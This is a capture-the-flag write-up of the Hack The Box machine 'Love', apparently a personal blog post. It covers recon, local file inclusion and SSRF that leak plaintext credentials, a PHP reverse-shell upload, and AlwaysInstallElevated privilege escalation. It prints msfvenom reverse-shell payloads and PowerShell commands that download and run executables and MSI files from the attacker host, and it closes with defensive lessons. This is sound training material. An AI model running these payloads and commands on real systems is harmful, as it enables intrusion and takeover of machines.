Love
2024-02-22
INTRODUCTION
It’s been a week, but now it’s time to get back into my “Let’s brush up on Windows!” series. Love is the fifth box, following Toolbox. This box was pretty interesting, definitely worth checking out. I really enjoyed that it avoided the whole “Find the CVE and exploit it” pattern that many Easy boxes use.
It revolves around a “File Scanner” web app with some terrible security misconfigurations and mistakes. Can you find them all?
Without too much recon, you’ll come across the vulnerable website. It has an LFI that can be used to nab whatever configuration files you desire. While the LFI is enough to gain a foothold by itself, you can actually utilize it as an SSRF obtain another credential. From there, some very simple enumeration will pretty clearly point out the vulnerability you need to exploit to gain the root flag. It’s a very easy exploit that shouldn’t take more than a couple minutes if done properly.
I didn’t realize it at the time, but it turns out that the way I used the LFI (to gain a foothold) was actually quite rare. From the few walkthroughs I checked after completing this box, I didn’t see any others using the LFI to gain a foothold (circumventing the SSRF). Read the Root Flag section for more details!
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
5040/tcp open unknown
5985/tcp open wsman
7680/tcp open pando-pub
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, GetRequest, NULL, SMBProgNeg:
|_ Host '10.10.14.3' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2024-02-22T05:49:18+00:00; +22m13s from scanner time.
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-02-21T21:49:08-08:00
| smb2-time:
| date: 2024-02-22T05:49:09
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 2h22m14s, deviation: 4h00m02s, median: 22m12s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
PORT STATE SERVICE
80/tcp open http
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-trace: TRACE is enabled
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
5040/tcp open unknown
5985/tcp open wsman
5986/tcp open wsmans
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
9/udp open|filtered tcpwrapped
80/udp open|filtered http
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered tcpwrapped
500/udp open|filtered isakmp
1812/udp open|filtered radius
1900/udp open|filtered upnp
3703/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
5632/udp open|filtered pcanywherestat
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the port 443 part of the nmap script scan, I added love.htb
and staging.love.htb
to /etc/hosts
and did banner grabbing on that domain:
DOMAIN=love.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR staging.$DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results from that. Now I’ll check for subdomains of love.htb
, I’ll do this as if it were a vhost scan by fuzzing the host header:
I’ve found this to be a faster method for subdomain enumeration.
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
The scan found the expected result, staging.love.htb
. To be thorough, I should also do a subdomain scan on staging.love.htb
:
No result there either. I’ll move on to directory enumeration on http://love.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v
Directory enumeration against http://love.htb/ gave the following:
Now I’ll check the subdomain http://staging.love.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://staging.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-staging -of json -e php,asp,js,html -timeout 4 -v
There was also an HTTPS version of the site on port 443, https://staging.love.htb, so I’ll also do directory enumeration on that:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
gobuster dir -w $WLIST -u https://staging.$DOMAIN -k \
--random-agent -t 40 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-staging.$DOMAIN.txt" \
--no-error
Same results as before.
The nmap scans showed another few ports responding to HTTP: 5000, 5985, and 47001. It’s unlikely, but I may as well check them too.
ffuf -w $WLIST:FUZZ -u http://$RADDR:5000/FUZZ -t 80 -c -o ffuf-directories-port5000 -of json -e php -timeout 4 -v -fw 22
Well that’s more than a coincidence. The exact same pages as staging.love.htb
, but I can’t access any index page for it.
ffuf -w $WLIST:FUZZ -u http://staging.$DOMAIN:5985/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-port5985 -of json -e php,asp,js,html -timeout 4 -v -fs 308
No results at all from port 5985. Lastly, 47001:
ffuf -w $WLIST:FUZZ -u http://staging.$DOMAIN:47001/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-port47001 -of json -e php,asp,js,html -timeout 4 -v
Again, no results.
Exploring the Website
From directory enumeration, I discovered an admin endpoint that redirects to http://love.htb/admin/index.php. There is a simple login form that POSTs to login.php
:
Just to try the obvious, I’ll go for some simple credential-guessing using hydra
:
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWORDS=/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
hydra -L $USERS -P $PASSWORDS -I love.htb http-post-form "/admin/login.php:username=^USER^&password=^PASS^&login=:H=Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63:F=Sign in to start your session
No success with that. I saw from the nmap scans that MySQL is running - how about an SQLi auth bypass?
WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt
ffuf -w $WLIST:FUZZ -u http://love.htb/admin/login.php -r -X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=tgfvpmpk5cf54rkjd27geeo84d" \
-d "username=FUZZ&password=password123&login=" \
-fr 'Sign in to start your session'
Nope, nothing. But what about the subdomain? It appears to be some kind of malware-scanning utility, currently in beta. Like some low-key version of virustotal:
Clicking Demo
in the header links to /beta.php
. This might be usable as a foothold:
FOOTHOLD
PHP Reverse Shell
I’ll start up a listener for a reverse shell, and a webserver for uploading files to this beta.php
form. With any luck, the server is doing some kind of “dynamic analysis” and running the scripts in a totally unconfined way (which would be a little nutty, to be honest):
sudo ufw allow from $RADDR to any port 4444,8000,9999 proto tcp
cd ~/Box_Notes/Love/exploit/
vim php-reverse.shell.php # Edit the IP and port
python3 -m http.server 8000 &
rlwrap socat -d TCP-LISTEN:4444 STDOUT
I’m using the cross-platform PHP reverse shell from this repo.
Unfortunately, uploading the reverse shell had no effect. Part of the code did get displayed onto the page though:
LFI for MySQL creds
Since I’m able to load an external resource through this /beta.php
page, maybe I’m also able to load an internal resource?
The addresses I’m entering will be interpreted from the perspective of the server, so if I’m lucky it’ll already have its DNS or
hosts
file configured to resolvelove.htb
andstaging.love.htb
. However, that’s kinda unlikely. If it was confugred like that, it would’ve only been for the developer’s convenience…
I two pages that would defnitely exist if the above is true: http://love.htb/admin/
and http://staging.love.htb/index.php
- no result from either.
Next, I’ll try just the localhost: http://127.0.0.1/admin/
Ok, that’s a little interesting! It loaded the php for the http://love.htb/admin/
page from within /beta.php
.
Maybe I can grab a file off the local system instead? I’ll try file:///C:/Windows/System32/drivers/etc/hosts
:
Success! This is great, but only because I know exactly the filepath to check…
Back when I did directory enumeration on love.htb
, I found the /tcpdf
directory, and I remember that it had a few files in there that caused some error / warning when I opened them. Maybe there’s a clue in there?
I asked ChatGPT about the typical xampp directory structure:
C:\xampp
├── apache
│ ├── bin
│ ├── conf
│ ├── htdocs
│ └── ...
├── mysql
│ ├── bin
│ ├── data
│ ├── scripts
│ └── ...
├── php
│ ├── ...
├── ...
└── xampp
├── ...
The file file:///C:/xampp/apache/conf/httpd.conf
might exist. A quick test shows that it does exist, and can indeed be read from this LFI, but it doesn’t really provide any extra data.
Next, I was wondering where each domain’s files were located within xampp
. I’ll check the file that usually defines this, file:///C:/xampp/apache/conf/extra/httpd-vhosts.conf
:
Great, so there should be three domains:
- C:/xampp/htdocs/passwordmanager
This is
www.love.htb
- C:/xampp/htdocs/omrs
This is
love.htb
- C:/xampp/htdocs/FFS
This is
staging.love.htb
aka Free File Scanner
I’m hoping to find some database credentials. There probably isn’t some kind of .env
file sitting around, but I might be able to find some credentials by checking the source code of that login page I encountered earlier. According to the above httpd-vhosts.conf
file shown above, I can probably find the login endpoint code at C:/xampp/htdocs/omrs/admin/login.php
:
This only shows a portion of the file. To see the whole thing, check the view-source:
of that page (Ctrl+U in Firefox). This displays the source code from that login.php
file:
<?php
session_start();
include 'includes/conn.php';
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = '$username'";
$query = $conn->query($sql);
if($query->num_rows < 1){
$_SESSION['error'] = 'Cannot find account with the username';
}
else{
$row = $query->fetch_assoc();
if(password_verify($password, $row['password'])){
$_SESSION['admin'] = $row['id'];
}
else{
$_SESSION['error'] = 'Incorrect password';
}
}
}
else{
$_SESSION['error'] = 'Input admin credentials first';
}
header('location: index.php');
?>
Well, that explains some of the behaviour behind that login form.
Actually, taking a look at this source code makes me wonder if it might have worked to simply insert a new record from within the WHERE clause of the username select statement 🤔
The important line is the include 'includes/conn.php';
near the top. This must be where the database connection info is stored. Requesting file://C:/xampp/htdocs/omrs/includes/conn.php
confirms this. 😀 Opening up view-source
again reveals some plaintext credentials!
The database credential being used by love.htb
is phoebe : HTB#9826^(_ and it’s accessing the database votesystem on localhost.
Unfortunately, attempting to connect to the database directly will not work:
I’m certain I’ll need these credentials later. After checking one more thing, I’ll come back to these credentials and see if there was any credential re-use 🚩
SSRF for HTTP ports
Earlier, when I was investigating LFIs, I looked into loading resources from staging.love.htb
. However, I was relying on the server having an entry in its hosts
file to resolve the subdomain from its own perspective. This got me thinking: what port is staging.love.htb
listening on? Does it even use a specific port? Can I load a resource directly from that subdomain using /beta.php
?
Well, when doing directory enumeration, I found that staging.love.htb
and 10.10.10.239:5000
both showed the same few resources (resulting in HTTP 403 Unauthorized). Navigating to port 5000 the normal way shows an Unauthorized message:
Ok, but could I load that page by using /beta.php
? Does localhost
have permission to access that resource..?
As it turns out, localhost does have authorization to access port 5000! There’s another credential sitting there in plain sight. admin : @LoveIsInTheAir!!!!
Also, very kind of the devs to even indicate what the credential is for 😉
So, that’s two credentials to check out now. I’ll try the admin user of the Voting System first, at http://love.htb/admin/
:
Bingo! We now have access to the admin dashboard. I’ll explore this in a minute 🚩 First, I want to go check if the other credential I found was re-used.
USER FLAG
Evil-winrm
I’ll quickly check with evil-winrm
if there was any credential re-use:
Nice! The credentials I got from the database connection in /includes/conn.php
were re-used. I now have a shell as phoebe 🎉
Navigating to phoebe’s desktop, it looks like the user flag is available. Simply type
it out for some points!
ROOT FLAG
Voting system
The Voters section of the admin dashboard allows me to register new voters in the system. I suspect this is for http://love.htb/index.php
(which the admin credentials did not grand access to). I’ll register a new user and try logging in as them. Registering a voter creates a new Voter ID
and allows you to set a password. The system created Vhb6u2Irg9pSMxC : password123 for me.
This works perfectly, granting access to the non-admin part oflove.htb
:
In addition to adding voters, from the Admin dashboard you’re able to define new positions, candidates, and elections. These changes are all reflected to the non-admin part of the site:
Enumeration (with credential)
I’ll check enum4linux
first, since it usually turns up some interesting results when provided with a credential:
enum4linux -u 'phoebe' -p 'HTB#9826^(_' -a $RADDR
It found some users (Administrator
, WDAGUtilityAccount
, and Phoebe
) and groups (Administrators
, Users
, Power Users
) on the target, plus some other insignificant things. There were no significant results form smbmap
.
Next, I want to try running winpeas
. I’ll have to serve the executable to the target. winpeas
is part of my (very incomplete) Windows toolbox:
# On attacker machine:
sudo ufw allow from $RADDR to any port 8000 proto tcp
python3 -m http.server 8000
# On target, via evil-winrm:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/winPEASany.exe', 'C:\Users\Phoebe\Downloads\winpeas.exe')
.\winpeas.exe
WinPEAS
It looks like a couple directories are whitelisted from Windows Defender:
Also, AlwaysInstallElevated
is enabled - I might be able to install something with administrator permissions:
Note that this could be checked manually by doing a couple registry queries: (
HKCU: HKey Current User, KHLM: HKey Local Machine
)reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\ /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\ /v AlwaysInstallElevated
winpeas
also identified some conditions for where phoebe
might be able to run a .msi
file:
Note that the above also corresponds to a location in the AV whitelist.
Malicious MSI
🚫 The following section uses the right technique, but the wrong setup.
For some reason, this was all thwarted because my foothold was through
evil-winrm
. I’m still not sure why that was an issue.Please skip ahead to Getting a new foothold if you’re short on time.
The results of winpeas
suggest that I should be able to craft a malicious .msi
file, and install it from the C:\Administration
directory. It’s execution from within that directory should be whitelisted by the antivirus. Really, it’s all best-case-scenario for an attacker.
This technique can be found in the TryHackMe room Windows PrivEsc. Jump straight to Task 8 to see try this technique on a vulnerable machine. I watched this video by Hackersploit to learn more about this vulnerability, which referenced the THM room linked above.
Ideally, I can just open a reverse shell (as Administrator) using this technique, so I’ll try that first. On my attacker machine, I’ll create the malicious .msi
using msfvenom
then serve the file from a python webserver:
# Create the msi and serve it
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f msi -o reverse.msi
python3 -m http.server 8000
# In another tab, make a reverse shell listener
sudo ufw allow from $RADDR to any port 4444 proto tcp
rlwrap socat -d TCP-LISTEN:4444 STDOUT
Then, on the target machine via evil-winrm
, I’ll download the file and run the installer:
# Download the msi
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/reverse.msi', 'C:\Administration\reverse.msi')
# "Install" it
msiexec /quiet /qn /i C:\Administration\reverse.msi
Hmm… No luck! Very odd, considering that that everything looked perfect for this exploit.
Troubleshooting: TCP Reverse shell as foothold
I did some reading on forum.hackthebox.com to see if I was doing anything obviously wrong. It looks like there was another user having exactly the same difficulties as me, and found that it was due to using evil-winrm
to connect instead of a regular reverse shell.
It seems like most people got RCE by using a file upload vulnerability from the Admin dashboard. I didn’t bother investigating any RCE there because, by that point, I already had a winrm shell as phoebe!
On the attacker box, use msfvenom
to create a reverse shell, serve it, and start up the listener:
# Generate a reverse shell and serve it
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f exe -o revshell.exe
python3 -m http.server 8000
# In another tab, start a listener
rlwrap socat -d TCP4-LISTEN:4444,fork STDOUT
Then on the target box (using the evil-winrm
shell), download the reverse shell payload and execute it:
# Download it
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/revshell.exe', 'C:\Users\Phoebe\Downloads\revshell.exe')
# Execute it
.\revshell.exe
Great, I have a reverse shell formed in a regular way now… But my malicious msi attack is still not working?!
When I read even further into the forums.hackthebox.com discussion of this box, another user suggested that they weren’t able to perform the malicious MSI attack even when using a regular reverse shell that was spawned from Evil-WinRM 😥
Maybe I need to find a way to do this without even using
evil-winrm
as the initial foothold 🤔
Getting a new foothold
If I’m going to avoid evil-winrm
entirely, I need to find a new foothold. The Admin dashboard seems like the most obvious choice. I already know there is a profile-picture upload on that site. There might also be a way to upload a reverse shell through the Candidate image.
Once again, I’ll start up a listener:
rlwrap socat -d TCP4-LISTEN:4444,fork STDOUT
While going to define a new Candidate, I realized that the Voter entity also has a profile picture upload. Using the exact same PHP reverse shell as earlier (in the PHP Reverse Shell section, i.e. the cross-platform reverse shell from this repo), I defined a new voter:
As soon as I hit Save, the page underneath attempted to render, and tripped the reverse shell:
🎉 That was easier than I thought it would be! Let’s proceed with the Malicious MSI attack again.
Malicious MSI Again
I’ve already generated reverse.msi
containing a payload to form a reverse shell back to a listener already running on port 4445. All I need to do is use my new foothold to download the .msi
and run it:
# Switch to powershell
powershell
# Download it
(New-Object Net.WebClient).DownloadFile('http://10.10.14.9:8000/reverse.msi', 'C:\Administration\reverse.msi')
# "Install" it
msiexec /quiet /qn /i C:\Administration\reverse.msi
Worked like a charm!
From there, just type
out the flag for some points🍍
LESSONS LEARNED
Attacker
- Avoid Evil-WinRM. I’ve had a lot of trouble with it in the past. On this box, I wasted hours trying to troubleshoot why my very clear and simple Malicious MSI attack was not working. In the end, it was simply something to do with using Evil-WinRM as the foothold 🤷♂️.
- When you have Two things to try, do the shorter one first. I thought my usage of the SSRF to obtain database credentials was fantastic, but really I should have done the two things in the opposite order. It would have been very fast to look into port 5000 before I started enumerating the xampp installation via an SSRF (which took quite a bit of guessing, and thus time).
- MSFVenom is incredible! Use it early and often. Anything else is just to challenge yourself. At the end of the day, I’d rather know all the cool features of
msfvenom
than to be able to manually replicate even a fraction of its functionality. It can even help obfuscate your payloads!
Defender
SSRF could have been avoided. Doing malware scanning is very difficult to do safely. In my opinion, the client should have been able to upload a file into only a tightly sandboxed environment, where it cannot access any local files. The server should have only been able to read the results of a malware scan from a specific directory, and nowhere else.
Sanitize image uploads. Check extensions; validate MIME types; check file sizes; never every blindly
include()
an image in PHP. By now we all should have seen enough Imagick exploits to make our skin crawl. Be super careful with any user-uploaded content!Least privilege should always be followed. On this box, it’s clear that the webserver and the “power user” Phoebe should have been separate accounts. Better yet, put the webserver and database in separate containers that communicate as little as possible with each other.
AlwaysInstallElevated should AlwaysBeDisabled, in my opinion. The only reason I can think of to turn it on, even temporarily, is laziness of an administrator - which is definitely not a sufficient reason.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake